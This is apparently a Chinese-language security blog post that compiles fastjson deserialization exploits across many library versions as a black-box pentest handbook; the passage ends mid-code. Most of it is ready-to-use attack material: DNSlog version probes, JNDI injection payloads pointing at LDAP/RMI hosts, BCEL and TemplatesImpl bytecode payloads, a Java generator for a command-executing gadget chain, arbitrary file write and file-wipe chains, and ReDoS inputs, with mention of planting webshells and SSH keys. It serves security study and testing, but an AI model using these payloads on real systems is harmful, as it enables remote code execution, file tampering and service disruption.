fastjson多个版本超级大综合总结一次过(黑盒&白盒&原生反序列化) 本文三个模块:黑盒白盒以及原生反序列化 根据自己需求选择直接看就行
博客:http://cxkhanhan.blog.top
前言: 初心是看到fastjson有很多版本和很多漏洞但是很多好的知识点或者内容都是分散的
没有超级大整合
做了个超级大整合方便感兴趣的师傅学习可以从白盒的部分开始
也方便有经验的师傅可以直接用这篇文章去直接搜索相关依赖看看有没有利用点什么的
白盒的最后两个高版本有点分析不动了,环境要求比较高实战效果低以及学习成本高
我就贴了里面的一些关键部分和内容感兴趣的师傅可以到时候直接看原文深入了解
有的地方是贴了部分文章的非常完美的部分.有点缝合怪了.可能会有些忘记标注出归属见谅
也有很多自己写的地方orz和自己的理解,并不完全缝合照搬(
黑盒和白盒可能会有重复的内容
白盒偏向分析原理更多,
黑盒适合拿过来直接渗透测试的时候的类似于实战手册一样的看着打(
文章是这段时间看了将近50篇fastjson的文章的一个大总结基本很多知识点都会考到和涉及到也会有很多标明出处(也有写的很水的文章统计在内)
如果有忘记标明出处的地方轻喷……真的太多了
下面这张图是在白盒和原生反序列化写的差不多就差黑盒没写的情况下还剩多少没详细看的文章或者忘记关的文章….加上已经关了的文章大概会有五十个文章….所以这篇大总结的内容也是出奇的多有的地方会贴原文内容orz.自己一点一点写不知道写到什么时候(有些环境要求太高或者一些写的很好的文章已经看完完整的融入到我的文章里然后关闭了,因为太多文章不关闭有点不好整理)
双浏览器的习惯所以会有两个标签页
搭建靶场可以试试这个
lemono0/FastJsonParty: FastJson全版本Docker漏洞环境(涵盖1.2.47/1.2.68/1.2.80等版本),主要包括JNDI注入及高版本绕过、waf绕过、文件读写、原生反序列化、利用链探测绕过、不出网利用等。从黑盒的角度覆盖FastJson深入利用
黑盒: 判断是否是fastjson: 随便挑个payload然后删掉一部分引起报错根据报错的回显就可以判断是否是使用fastjson
说简单点就是不闭合的双引号,花括号,中括号 都有可能存在报错
我记得我测试的时候把application/json改成application/x-www-form-urlencoded也会引发报错返回版本或者fastjson的一些有关报错
上面的方法最好都尝试尝试因为是黑盒,可能不同的报错方法能得到不同的信息
注意:!!! 下面很多给的payload可能不能拿过来直接用的
可能需要你在外围再套一层{}才可以
具体原理可以参考最后的部分的从黑盒&白盒的角度分析一些报错的成因以及处理方法
比如
1 2 3 4 { "@type":"java.net.Inet4Address", "val":"kajmnb.dnslog.cn" }
这样是不通的
外围还要这样再套一层才可以
1 2 3 4 5 6 { "a":{ "@type":"java.net.Inet4Address", "val":"kajmnb.dnslog.cn" } }
下文是在文章FastJsonParty/Fastjson全版本检测及利用-Poc.md at main · lemono0/FastJsonParty
的基础上做更改添加等等
根据解析变化 1 {"a":new a(1),"b":x'11',/*\*\/"c":Set[{}{}],"d":"\u0000\x00"} {"ext":"blue","name":{"$ref":"$.ext"}}
查看响应状态
Dnslog-出网 DNS能接收到请求则使用FastJson。
1 2 3 4 { "@type":"java.net.Inet4Address", "val":"dnslog" }
FastJson版本检测 若是白盒或其他能拿到代码的情况下直接看pom.xml中引入的FastJson的依赖或lib目录下的jar包即可。黑盒情况下需要一些手法来检测是否使用FastJson或者FastJson具体版本。后面会写一篇
AutoCloseable精确探测版本号 1 2 { "@type": "java.lang.AutoCloseable"
注意:在FastJson版本大概1.2.76后,即便是通过这种方式探测出精准的FastJson版本,也是1.2.76,即便是使用的1.2.80的依赖,因为在源码中并没有改变。
Dnslog 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 // <=1.2.47 [ { "@type": "java.lang.Class", "val": "java.io.ByteArrayOutputStream" }, { "@type": "java.io.ByteArrayOutputStream" }, { "@type": "java.net.InetSocketAddress" { "address":, "val": "aaa.xxxx.ceye.io" } } ] // <=1.2.68 [ { "@type": "java.lang.AutoCloseable", "@type": "java.io.ByteArrayOutputStream" }, { "@type": "java.io.ByteArrayOutputStream" }, { "@type": "java.net.InetSocketAddress" { "address":, "val": "bbb.n41tma.ceye.io" } } ] // <=1.2.80 收到一个dns请求,1.2.83 收到两个dns请求 [ { "@type": "java.lang.Exception", "@type": "com.alibaba.fastjson.JSONException", "x": { "@type": "java.net.InetSocketAddress" { "address":, "val": "ccc.4fhgzj.dnslog.cn" } } }, { "@type": "java.lang.Exception", "@type": "com.alibaba.fastjson.JSONException", "message": { "@type": "java.net.InetSocketAddress" { "address":, "val": "ddd.4fhgzj.dnslog.cn" } } } ]
上面的dnslog打不成可以试试下面这个 [fastjson 1.2.73-1.2.80漏洞分析](https://blog.ninefiger.top/2022/11/11/fastjson 1.2.73-12.80漏洞分析/#3-6-aspectjtools利用链)
结合之前1.2.24、1.2.47、1.2.68、1.2.80不同阶段对autoTypeSupport的绕过,整理如下检测版本的poc
随便加载一个类,再使用Inet4Address
1 2 3 4 5 6 7 { "@type": "java.lang.error", { "@type": "java.net.Inet4Address", "val": "DNSLOG" } }
1 2 3 4 5 6 7 8 9 10 11 12 13 [ { "@type": "java.lang.Class", "val": "java.lang.Error" }, { "@type": "java.lang.Error" }, { "@type": "java.net.Inet4Address", "val": "DNSLOG" } ]
1.2.48 ~ 1.2.68
1 2 3 4 5 6 7 8 9 10 11 12 13 [ { "@type": "java.lang.AutoCloseable", "@type": "java.io.ByteArrayOutputStream" }, { "@type": "java.io.ByteArrayOutputStream" }, { "@type": "java.net.Inet4Address", "val": "DNSLOG" } ]
1.2.69~1.2.80
如果版本为1.2.83,则 21.DNSLOG和22.DNSLOG的dns请求都会收到,如果版本<=1.2.80, 则只能收到第一个dnslog请求
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 [ { "@type": "java.lang.Exception", "@type": "com.alibaba.fastjson.JSONException", "x": { "@type": "java.net.Inet4Address", "val": "21.DNSLOG" } }, { "@type": "java.lang.Exception", "@type": "com.alibaba.fastjson.JSONException", "message": { "@type": "java.net.Inet4Address", "val": "22.DNSLOG" } } ]
在1.2.80中,由于进入ThrowableDeserializer
反序列化工具类,当Key是message时,抛出异常;而1.2.83中修复了Throwable的相关问题,导致message的key不再具有特殊性,因此可以收到dnslog
1 2 3 4 5 6 7 8 { "@type": "java.lang.Exception", "@type": "com.alibaba.fastjson.JSONException", "message": { "@type": "java.net.Inet4Address", "val": "DNSLOG" } }
FastJson引入依赖检测 其实主要是针对于黑盒情况下,在确定FastJson具体版本后,下一步就是对应payload探测该环境存在的一些依赖,而不是一味的盲打。 主要需要依赖能够回显FastJson的报错的探测,虽然网上流传的有DNSLOG探测,但我实在是没有复现成功,后面再看吧。
Character转换报错 测试比较通用的方法:利用Character转换报错
1 2 3 4 5 6 { "x": { "@type": "java.lang.Character"{ "@type": "java.lang.Class", "val": "org.springframework.web.bind.annotation.RequestMapping" }}
若存在org.springframework.web.bind.annotation.RequestMapping
: 若不存在:
依赖类列举 列举一些可能会用到的依赖类:对应Poc探测
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 org.springframework.web.bind.annotation.RequestMapping //SpringBoot org.apache.catalina.startup.Tomcat //Tomcat groovy.lang.GroovyShell //Groovy - 1.2.80 com.mchange.v2.c3p0.DataSources //C3P0 com.mysql.jdbc.Buffer //mysql-jdbc-5 com.mysql.cj.api.authentication.AuthenticationProvider //mysql-connect-6 com.mysql.cj.protocol.AuthenticationProvider //mysql-connect-8 sun.nio.cs.GBK //JDK8 java.net.http.HttpClient //JDK11 org.apache.ibatis.type.Alias //Mybatis org.apache.tomcat.dbcp.dbcp.BasicDataSource //tomcat-dbcp-7-BCEL org.apache.tomcat.dbcp.dbcp2.BasicDataSource //tomcat-dbcp-8及以后-BCEL org.apache.commons.io.Charsets // 存在commons-io,但不确定版本 org.apache.commons.io.file.Counters //commons-io-2.7-2.8 org.aspectj.ajde.Ajde //aspectjtools
C3P0二次反序列化 只要存在C3P0依赖,FastJson<=1.2.47通杀,无需开启autotype,且能够不出网利用。 这里之前写错了,其实不用引入例如CC这样的反序列化漏洞链,FastJson本身也存在原生发序列化漏洞链,且覆盖1.2全版本(没想到吧XD),所以利用范围就更大了。具体可看这篇:FastJson原生反序列化
1 2 3 4 5 6 7 8 9 10 <dependency> <groupId>com.mchange</groupId> <artifactId>c3p0</artifactId> <version>0.9.5.4</version> </dependency> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency>
1 2 3 4 5 6 7 8 9 10 { "a":{ "@type":"java.lang.Class", "val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource" }, "b":{ "@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource", "userOverridesAsString":"HexAsciiSerializedMap:EVIL_HEX;", } }
生成evil_hex:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 public static void main(String[] args) throws Exception { String evil_hex = bytesToHex(tobyteArray(gen())); String FJ1247 = "{\n" + " \"a\":{\n" + " \"@type\":\"java.lang.Class\",\n" + " \"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"\n" + " },\n" + " \"b\":{\n" + " \"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\",\n" + " \"userOverridesAsString\":\"HexAsciiSerializedMap:" + evil_hex + ";\",\n" + " }\n" + "}\n"; System.out.println(FJ1247); JSON.parseObject(FJ1247); } //这里用的cc6,可以随意引用其他反序列化链 public static Object gen() throws NoSuchFieldException, IllegalAccessException { TemplatesImpl templates = TemplatesImpl.class.newInstance(); setValue(templates, "_bytecodes", new byte[][]{genPayload("calc")}); setValue(templates, "_name", "1"); setValue(templates, "_tfactory", null); JSONArray jsonArray = new JSONArray(); jsonArray.add(templates); BadAttributeValueExpException bd = new BadAttributeValueExpException(null); setValue(bd,"val",jsonArray); HashMap hashMap = new HashMap(); hashMap.put(templates,bd); return hashMap; } //将类序列化为字节数组 public static byte[] tobyteArray(Object o) throws IOException { ByteArrayOutputStream bao = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bao); oos.writeObject(o); // return bao.toByteArray(); } //字节数组转十六进制 public static String bytesToHex(byte[] bytes) { StringBuffer stringBuffer = new StringBuffer(); for (int i = 0; i < bytes.length; i++) { String hex = Integer.toHexString(bytes[i] & 0xff); //bytes[]中为带符号字节-255~+255,&0xff: 保证得到的数据在0~255之间 if (hex.length()<2){ stringBuffer.append("0" + hex); //0-9 则在前面加‘0’,保证2位避免后面读取错误 }else { stringBuffer.append(hex); } } return stringBuffer.toString(); } public static void setValue(Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); } public static byte[] genPayload(String cmd) throws Exception{ ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass("a"); CtClass superClass = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz); constructor.setBody("Runtime.getRuntime().exec(\""+cmd+"\");"); clazz.addConstructor(constructor); clazz.getClassFile().setMajorVersion(49); return clazz.toBytecode(); }
FastJson <=1.2.47 有通杀的,具体的细小的其他版本利用感兴趣的可以看白盒
JdbcRowSetImpl 条件限制:
对于JDK版本11.0.1、8u191、7u201、6u211及以上,RMI和LDAP的trustURLCodebase已经被限制,但是还存在几种方法绕过。
高版本的绕过感兴趣的师傅可以看看这几个https://www.cnblogs.com/EddieMurphy-blogs/p/18078943
https://research.qianxin.com/archives/2414
https://wjlshare.com/archives/1661
1 2 3 4 5 6 7 8 9 10 11 12 { "a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://10.30.1.214:1389/my9azs", "autoCommit":true } }
BCEL-1.2.36~1.2.47 条件限制:
BCEL Classloader在 JDK < 8u251之前是在rt.jar里面
还有个条件限制就是环境maven必须要存在tomcat-dbcp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 { "name": { "@type" : "java.lang.Class", "val" : "org.apache.tomcat.dbcp.dbcp2.BasicDataSource" }, "x" : { "name": { "@type" : "java.lang.Class", "val" : "com.sun.org.apache.bcel.internal.util.ClassLoader" }, "y": { "@type":"com.alibaba.fastjson.JSONObject", "c": { "@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource", "driverClassLoader": { "@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader" }, "driverClassName":"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AeP$cbN$CA$Q$ac$86$85$85uQ$k$e2$fb$RO$82$H$b9x$c3$Y$T$a3$89$c9F$M$Q$3c$_$e3$88C$60$d7$ec$ce$g$7e$cb$8b$g$P$7e$80$le$ecA$82$qNg$a6R$d5$d5$dd3$f3$f5$fd$f1$J$e0$E$fb$O$b2$u$3b$a8$605$87$aa$c15$h$eb66$I$d9S$V$u$7dFH$d7$ea$3d$82u$R$deK$c2$8a$a7$Cy$93$8c$fb2$ea$fa$fd$R$xe$_$U$fe$a8$e7G$ca$f0$99h$e9G$V$T$f2$5eW$c6$ba$z$l$9a$E$e7r$o$e4$93Va$Q$db$d8d$de$J$93H$c8$xe$fc$ee$ccw$3c$f4$9f$7d$X6r6$b6$5clc$87$7bq$7b$e1b$X$7b$E$7b$e6$p$U$8d$b31$f2$83A$a3$d5$lJ$a1$J$95$a9$a4$c2$c6uk$3e$8bP$fa3$b6$93$40$ab1$8fs$GR$cfI$b5V$f7$fey$f8$c2$96$9cHA8$ac$zd$3b$3aR$c1$a0$b9Xp$h$85B$c6q$T$H$c8$f0g$9aE$i$fc$E$a4$90gv$ceH$8c$cbGo$a0w$a4$ca$e9WXw$_$ac$a4$e0$Y$ji$3e$z$8e$M$K$dca$89$99$fb$5b$c1X$98$a2$c9$f3$e7$f3$$N$ebJ$3f$83$94$e8$8d$c2$B$A$A", "$ref": "$.x.y.c.connection" } } } }
BCEL-1.2.24~1.2.35 条件限制:
BCEL Classloader在 JDK < 8u251之前是在rt.jar里面
还有个条件限制就是环境maven必须要存在tomcat-dbcp
1 2 3 4 5 6 7 8 9 10 11 12 13 { { "aaa": { "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource", "driverClassLoader": { "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader" }, "driverClassName": "$$BCEL$$$l$8b$I$A$..." } }: "bbb" } //注意:这里是tomcat>8的poc,如果小于8的话用到的类是 //org.apache.tomcat.dbcp.dbcp.BasicDataSource
TemplatesImpl 存在条件限制
必须要使用Feature.SupportNonPublicField的情况下才能打这个链子
上面有相关的概念和情况讲解直接ctrl+f搜Feature.SupportNonPublicField查看用法
使用注意点:
fastjson 在反序列化时,如果 Field 类型为 byte[]
,将会调用com.alibaba.fastjson.parser.JSONScanner#bytesValue
进行 base64 解码,对应的,在序列化时也会进行 base64 编码。
payload如下
1 2 3 4 5 6 7 8 9 { "b": { "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "_bytecodes": ["yv66vgAAADQA...CJAAk="], "_name": "su18", "_tfactory": {}, "_outputProperties": {}, } }
bytecode变成想要加载的恶意类的字节即可
更多的fastjson利用链: https://www.javasec.org/java-vuls/FastJson.html
以下为部分在各个途径搜集的 payload,版本自测:
JdbcRowSetImpl
1 2 3 4 5 { "@type" : "com.sun.rowset.JdbcRowSetImpl" , "dataSourceName" : "ldap://127.0.0.1:23457/Command8" , "autoCommit" : true }
TemplatesImpl
1 2 3 4 5 6 7 { "@type" : "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" , "_bytecodes" : [ "yv66vgA...k=" ] , '_name': 'su18', '_tfactory': { } , "_outputProperties" : { } , }
JndiDataSourceFactory
1 2 3 4 5 6 { "@type" : "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory" , "properties" : { "data_source" : "ldap://127.0.0.1:23457/Command8" } }
SimpleJndiBeanFactory
1 2 3 4 5 6 7 8 9 10 11 { "@type" : "org.springframework.beans.factory.config.PropertyPathFactoryBean" , "targetBeanName" : "ldap://127.0.0.1:23457/Command8" , "propertyPath" : "su18" , "beanFactory" : { "@type" : "org.springframework.jndi.support.SimpleJndiBeanFactory" , "shareableResources" : [ "ldap://127.0.0.1:23457/Command8" ] } }
DefaultBeanFactoryPointcutAdvisor
1 2 3 4 5 6 7 8 9 10 11 12 13 { "@type" : "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor" , "beanFactory" : { "@type" : "org.springframework.jndi.support.SimpleJndiBeanFactory" , "shareableResources" : [ "ldap://127.0.0.1:23457/Command8" ] } , "adviceBeanName" : "ldap://127.0.0.1:23457/Command8" } , { "@type" : "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor" }
WrapperConnectionPoolDataSource
1 2 3 4 { "@type" : "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource" , "userOverridesAsString" : "HexAsciiSerializedMap:aced000...6f;" }
JndiRefForwardingDataSource
1 2 3 4 5 { "@type" : "com.mchange.v2.c3p0.JndiRefForwardingDataSource" , "jndiName" : "ldap://127.0.0.1:23457/Command8" , "loginTimeout" : 0 }
InetAddress
1 2 3 4 { "@type" : "java.net.InetAddress" , "val" : "http://dnslog.com" }
Inet6Address
1 2 3 4 { "@type" : "java.net.Inet6Address" , "val" : "http://dnslog.com" }
URL
1 2 3 4 { "@type" : "java.net.URL" , "val" : "http://dnslog.com" }
JSONObject
1 2 3 4 5 6 7 8 9 { "@type" : "com.alibaba.fastjson.JSONObject" , { "@type" : "java.net.URL" , "val" : "http://dnslog.com" } } "" }
URLReader
1 2 3 4 5 6 7 8 9 10 { "poc" : { "@type" : "java.lang.AutoCloseable" , "@type" : "com.alibaba.fastjson.JSONReader" , "reader" : { "@type" : "jdk.nashorn.api.scripting.URLReader" , "url" : "http://127.0.0.1:9999" } } }
AutoCloseable 任意文件写入
1 2 3 4 5 6 7 8 9 10 11 12 { "@type" : "java.lang.AutoCloseable" , "@type" : "org.apache.commons.compress.compressors.gzip.GzipCompressorOutputStream" , "out" : { "@type" : "java.io.FileOutputStream" , "file" : "/path/to/target" } , "parameters" : { "@type" : "org.apache.commons.compress.compressors.gzip.GzipParameters" , "filename" : "filecontent" } }
BasicDataSource
1 2 3 4 5 6 7 8 { "@type" : "org.apache.tomcat.dbcp.dbcp.BasicDataSource" , "driverClassName" : "$$BCEL$$$l$8b$I$A$A$A$A..." , "driverClassLoader" : { "@type" : "Lcom.sun.org.apache.bcel.internal.util.ClassLoader;" } }
JndiConverter
1 2 3 4 { "@type" : "org.apache.xbean.propertyeditor.JndiConverter" , "AsText" : "ldap://127.0.0.1:23457/Command8" }
JtaTransactionConfig
1 2 3 4 5 6 7 { "@type" : "com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig" , "properties" : { "@type" : "java.util.Properties" , "UserTransaction" : "ldap://127.0.0.1:23457/Command8" } }
JndiObjectFactory
1 2 3 4 { "@type" : "org.apache.shiro.jndi.JndiObjectFactory" , "resourceName" : "ldap://127.0.0.1:23457/Command8" }
AnterosDBCPConfig
1 2 3 4 { "@type" : "br.com.anteros.dbcp.AnterosDBCPConfig" , "metricRegistry" : "ldap://127.0.0.1:23457/Command8" }
AnterosDBCPConfig2
1 2 3 4 { "@type" : "br.com.anteros.dbcp.AnterosDBCPConfig" , "healthCheckRegistry" : "ldap://127.0.0.1:23457/Command8" }
CacheJndiTmLookup
1 2 3 4 { "@type" : "org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup" , "jndiNames" : "ldap://127.0.0.1:23457/Command8" }
AutoCloseable 清空指定文件
1 2 3 4 5 6 { "@type" : "java.lang.AutoCloseable" , "@type" : "java.io.FileOutputStream" , "file" : "/tmp/nonexist" , "append" : false }
AutoCloseable 清空指定文件
1 2 3 4 5 6 { "@type" : "java.lang.AutoCloseable" , "@type" : "java.io.FileWriter" , "file" : "/tmp/nonexist" , "append" : false }
AutoCloseable 任意文件写入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 { "stream" : { "@type" : "java.lang.AutoCloseable" , "@type" : "java.io.FileOutputStream" , "file" : "/tmp/nonexist" , "append" : false } , "writer" : { "@type" : "java.lang.AutoCloseable" , "@type" : "org.apache.solr.common.util.FastOutputStream" , "tempBuffer" : "SSBqdXN0IHdhbnQgdG8gcHJvdmUgdGhhdCBJIGNhbiBkbyBpdC4=" , "sink" : { "$ref" : "$.stream" } , "start" : 38 } , "close" : { "@type" : "java.lang.AutoCloseable" , "@type" : "org.iq80.snappy.SnappyOutputStream" , "out" : { "$ref" : "$.writer" } } }
BasicDataSource
1 2 3 4 5 6 7 8 { "@type" : "org.apache.tomcat.dbcp.dbcp2.BasicDataSource" , "driverClassName" : "true" , "driverClassLoader" : { "@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader" } , "driverClassName" : "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A...o$V$A$A" }
HikariConfig
1 2 3 4 { "@type" : "com.zaxxer.hikari.HikariConfig" , "metricRegistry" : "ldap://127.0.0.1:23457/Command8" }
HikariConfig
1 2 3 4 { "@type" : "com.zaxxer.hikari.HikariConfig" , "healthCheckRegistry" : "ldap://127.0.0.1:23457/Command8" }
HikariConfig
1 2 3 4 { "@type" : "org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig" , "metricRegistry" : "ldap://127.0.0.1:23457/Command8" }
HikariConfig
1 2 3 4 { "@type" : "org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig" , "healthCheckRegistry" : "ldap://127.0.0.1:23457/Command8" }
SessionBeanProvider
1 2 3 4 5 { "@type" : "org.apache.commons.proxy.provider.remoting.SessionBeanProvider" , "jndiName" : "ldap://127.0.0.1:23457/Command8" , "Object" : "su18" }
JMSContentInterceptor
1 2 3 4 5 6 7 8 9 { "@type" : "org.apache.cocoon.components.slide.impl.JMSContentInterceptor" , "parameters" : { "@type" : "java.util.Hashtable" , "java.naming.factory.initial" : "com.sun.jndi.rmi.registry.RegistryContextFactory" , "topic-factory" : "ldap://127.0.0.1:23457/Command8" } , "namespace" : "" }
ContextClassLoaderSwitcher
1 2 3 4 5 6 7 8 9 { "@type" : "org.jboss.util.loading.ContextClassLoaderSwitcher" , "contextClassLoader" : { "@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader" } , "a" : { "@type" : "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmS$ebN$d4P$...$A$A" } }
OracleManagedConnectionFactory
1 2 3 4 { "@type" : "oracle.jdbc.connector.OracleManagedConnectionFactory" , "xaDataSourceName" : "ldap://127.0.0.1:23457/Command8" }
JNDIConfiguration
1 2 3 4 { "@type" : "org.apache.commons.configuration.JNDIConfiguration" , "prefix" : "ldap://127.0.0.1:23457/Command8" }
FastJson <=1.2.60 commons-configuration-1.10,且autotype enable:ParserConfig.getGlobalInstance().setAutoTypeSupport(true)
1 2 3 4 5 <dependency> <groupId>commons-configuration</groupId> <artifactId>commons-configuration</artifactId> <version>1.10</version> </dependency>
1 {"@type":"org.apache.commons.configuration.JNDIConfiguration","prefix":"ldap://10.30.1.214:1389/msy62c"}
FastJson <=1.2.61 autotype anable:
1 2 3 4 5 <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-configuration2</artifactId> <version>2.8.0</version> </dependency>
1 {"@type":"org.apache.commons.configuration2.JNDIConfiguration","prefix":"ldap://10.30.1.214:1389/msy62c"}
FastJson <=1.2.67 Shiro 条件:开启autotype,存在shiro(不限版本)即可通杀
1 2 3 4 5 <dependency> <groupId>org.apache.shiro</groupId> <artifactId>shiro-core</artifactId> <version>1.5.2</version> </dependency>
1 2 ParserConfig.getGlobalInstance().setAutoTypeSupport(true); {"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.0.107:1389/y0drfh","instance":{"$ref":"$.instance"}}
FastJson 1.2.36~1.2.62 存在拒绝服务攻击,无其他条件,可变相用于黑盒版本探测
1 2 3 {"regex":{"$ref":"$[blue rlike '^[a-zA-Z]+(([a-zA-Z ])?[a-zA-Z]*)*$']"},"blue":"aaaaaaaaaaaaaaaaaaaaaaaaaaaa!"} {"regex":{"$ref":"$[\blue = /\^[a-zA-Z]+(([a-zA-Z ])?[a-zA-Z]*)*$/]"},"blue":"aaaaaaaaaaaaaaaaaaaaaaaaaaaa!"}
fastjson-1.2.45 在此版本爆出了一个黑名单绕过,实际上,黑名单是无穷无尽的,随着 fastjson 的版本更新,一定会有更多的黑名单爆出来,因为隔壁 jackson 都是明文黑名单的,只要隔壁一更新,大家都看到了,就会拿来看 fastjson。
影响版本:1.2.25 <= fastjson <= 1.2.45
描述:黑名单列表需要不断补充。
1 2 3 4 5 6 { "@type" : "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory" , "properties" : { "data_source" : "ldap://127.0.0.1:23457/Command8" } }
fastjson<=1.2.62 基于黑名单绕过exp:
1 {"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://x.x.x.x:9999/exploit"}";
fastjson<=1.2.66 也是基于黑名单绕过,autoTypeSupport属性为true才能使用,(fastjson>=1.2.25默认为false)以下是几个exp:
1 2 3 4 5 {"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"} {"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"} {"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"} {"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransacti on":"ldap://192.168.80.1:1389/Calc"}}
fastjson<=1.2.68和fastjson<=1.2.80说明 这两个版本的利用
涉及到很多依赖
环境要求限制偏高
除了下面粘贴的部分如果没有你心里想要的链子或者能成功的链子
还可以试试看看我白盒关于这部分整理的链子和文章
避免存在遗漏(
FastJson <=1.2.68 又是另一个大版本系列,因为黑名单的限制极大约束了JNDI类型的利用,所以后面就把漏洞利用方式移到了期望类(expectClass)上,观察下面的Poc,基本上的都是使用的java.lang.AutoCloseable绕过期望类,同时将利用思路转移到文件读写操作上。 关于文件读写的危害:既然探测到存在漏洞,便可通过文件写操作写入计划任务、ssh密钥、dll劫持、写入jsp木马(非spring,能解析jsp)、写入jar包启动加载等等,读文件就不说了,配置文件、敏感文件等。
写文件利用 依赖比较多,条件苛刻 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <dependency> <groupId>org.aspectj</groupId> <artifactId>aspectjtools</artifactId> <version>1.9.5</version> </dependency> <dependency> <groupId>com.esotericsoftware</groupId> <artifactId>kryo</artifactId> <version>4.0.0</version> </dependency> <dependency> <groupId>com.sleepycat</groupId> <artifactId>je</artifactId> <version>5.0.73</version> </dependency>
buffer处为写入文件的base64编码字符串,position为对应的解码后数据的字节长度,需设置正确,否则报错。若原字符串包含中文字符则一个字符的字节长度为2。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 { "stream": { "@type": "java.lang.AutoCloseable", "@type": "org.eclipse.core.internal.localstore.SafeFileOutputStream", "targetPath": "e:/ddd.txt", "tempPath": "e:/test.txt" }, "writer": { "@type": "java.lang.AutoCloseable", "@type": "com.esotericsoftware.kryo.io.Output", "buffer": "cXdlcmFzZGY=", "outputStream": { "$ref": "$.stream" }, "position": 8 }, "close": { "@type": "java.lang.AutoCloseable", "@type": "com.sleepycat.bind.serial.SerialOutput", "out": { "$ref": "$.writer" } } }
Commons-IO 2.0 - 2.6 JDK8: 1.2.37<=FastJson<=1.2.68 JDK11: 1.2.57<=FastJson<=1.2.68
1 2 3 4 5 <dependency> <groupId>commons-io</groupId> <artifactId>commons-io</artifactId> <version>2.6</version> </dependency>
需保证在数据传入时长度必须大于8192(8KB)才会写入到文件,且只会写入前8KB
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 //commons-io 2.0 - 2.6 版本: String code = "FLAG{THIS_IS_A_flAT_THAT_You_REALLY_waNT!!!}"; int length = code.length(); for (int i = 0; i <= 8192 - length ; i++) { code += " "; } String poc4 = "{\n" + " \"x\":{\n" + " \"@type\":\"com.alibaba.fastjson.JSONObject\",\n" + " \"input\":{\n" + " \"@type\":\"java.lang.AutoCloseable\",\n" + " \"@type\":\"org.apache.commons.io.input.ReaderInputStream\",\n" + " \"reader\":{\n" + " \"@type\":\"org.apache.commons.io.input.CharSequenceReader\",\n" + " \"charSequence\":{\"@type\":\"java.lang.String\"\"" + code +"\"\n" + " },\n" + " \"charsetName\":\"UTF-8\",\n" + " \"bufferSize\":1024\n" + " },\n" + " \"branch\":{\n" + " \"@type\":\"java.lang.AutoCloseable\",\n" + " \"@type\":\"org.apache.commons.io.output.WriterOutputStream\",\n" + " \"writer\":{\n" + " \"@type\":\"org.apache.commons.io.output.FileWriterWithEncoding\",\n" + " \"file\":\"e:/aaa.txt\",\n" + " \"encoding\":\"UTF-8\",\n" + " \"append\": false\n" + " },\n" + " \"charsetName\":\"UTF-8\",\n" + " \"bufferSize\": 1024,\n" + " \"writeImmediately\": true\n" + " 